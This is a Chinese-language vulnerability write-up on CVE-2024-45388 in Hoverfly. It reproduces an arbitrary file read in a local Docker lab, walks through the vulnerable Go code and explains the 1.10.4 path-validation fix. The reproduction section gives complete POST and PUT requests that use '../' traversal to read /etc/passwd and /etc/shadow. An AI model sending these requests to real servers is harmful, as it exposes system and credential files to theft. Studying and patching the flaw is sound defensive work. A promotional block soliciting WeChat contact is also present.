Hoverfly 任意檔案讀取漏洞(CVE-2024-45388)

蚁景网安实验室發表於2024-10-12

漏洞簡介

Hoverfly 是一個為開發人員和測試人員提供的輕量級服務虛擬化/API模擬/API模擬工具。其 /api/v2/simulation​ 的 POST 處理程式允許使用者從使用者指定的檔案內容中建立新的模擬檢視。然而,這一功能可能被攻擊者利用來讀取 Hoverfly 伺服器上的任意檔案。儘管程式碼禁止指定絕對路徑,但攻擊者可以透過使用 ../​ 段來逃離 hf.Cfg.ResponsesBodyFilesPath​ 基本路徑,從而訪問任何任意檔案。

環境搭建

我們還是利用 docker 來搭建環境

https://hub.docker.com/r/spectolabs/hoverfly/tags

Hoverfly 任意檔案讀取漏洞(CVE-2024-45388)

docker pull spectolabs/hoverfly:v1.10.2
docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2   

漏洞復現

構造資料包

POST /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
​
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}

Hoverfly 任意檔案讀取漏洞(CVE-2024-45388)

PUT /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
​
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}

Hoverfly 任意檔案讀取漏洞(CVE-2024-45388)

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

漏洞分析

hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes

Hoverfly 任意檔案讀取漏洞(CVE-2024-45388)

定義了 SimulationHandler​ 的路由註冊方法,路由的每個 HTTP 方法(如 GET​、PUT​、POST​、DELETE​ 等)都有一個對應的處理函式 (this.Get​、this.Put​、this.Post​、this.Delete​、this.Options​、this.GetSchema​)。這些函式處理實際的業務邏輯。

  • GET /api/v2/simulation: 處理獲取模擬資料。

  • PUT /api/v2/simulation: 處理更新模擬資料。

  • POST /api/v2/simulation: 處理建立新的模擬資料。

  • DELETE /api/v2/simulation: 處理刪除模擬資料。

  • OPTIONS /api/v2/simulation: 提供有關 /api/v2/simulation​ 端點允許的 HTTP 方法的資訊。

  • GET /api/v2/simulation/schema: 獲取模擬資料的 schema(結構)。

  • OPTIONS /api/v2/simulation/schema: 提供有關 /api/v2/simulation/schema​ 端點允許的 HTTP 方法的資訊。

Hoverfly 任意檔案讀取漏洞(CVE-2024-45388)

POST 和 PUT 方法 僅僅是函式的第三個引數有所不同,所以兩種請求方式都可以實現任意檔案讀取

hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation

Hoverfly 任意檔案讀取漏洞(CVE-2024-45388)

第三個引數的不同導致 PUT 方法在獲取新的模型內容時,首先刪除前一個模擬內容,可以重複讀取不同檔案內容。POST 僅僅只能讀取一次檔案內容,無法更新。

hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation

Hoverfly 任意檔案讀取漏洞(CVE-2024-45388)

hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation

Hoverfly 任意檔案讀取漏洞(CVE-2024-45388)

hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles

Hoverfly 任意檔案讀取漏洞(CVE-2024-45388)

hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile

Hoverfly 任意檔案讀取漏洞(CVE-2024-45388)

這裡就是漏洞產生的關鍵原因,對傳入的引數 filePath 沒有做具體的校驗,可以透過 ../​ 實現跨越目錄的讀取檔案

我們看到最新版已經對傳入的引數進行了處理

hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile

Hoverfly 任意檔案讀取漏洞(CVE-2024-45388)

hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath

Hoverfly 任意檔案讀取漏洞(CVE-2024-45388)

這個 ResolveAndValidatePath​ 函式用於從一個絕對路徑(absBasePath​)解析一個相對路徑(relativePath​),並驗證這個相對路徑是否合法。具體來說,它確保了相對路徑不會嘗試向上回溯(使用 ".."​),並且解析後的路徑仍然在基路徑之下。

更多網安技能的線上實操練習,請點選這裡>>

相關文章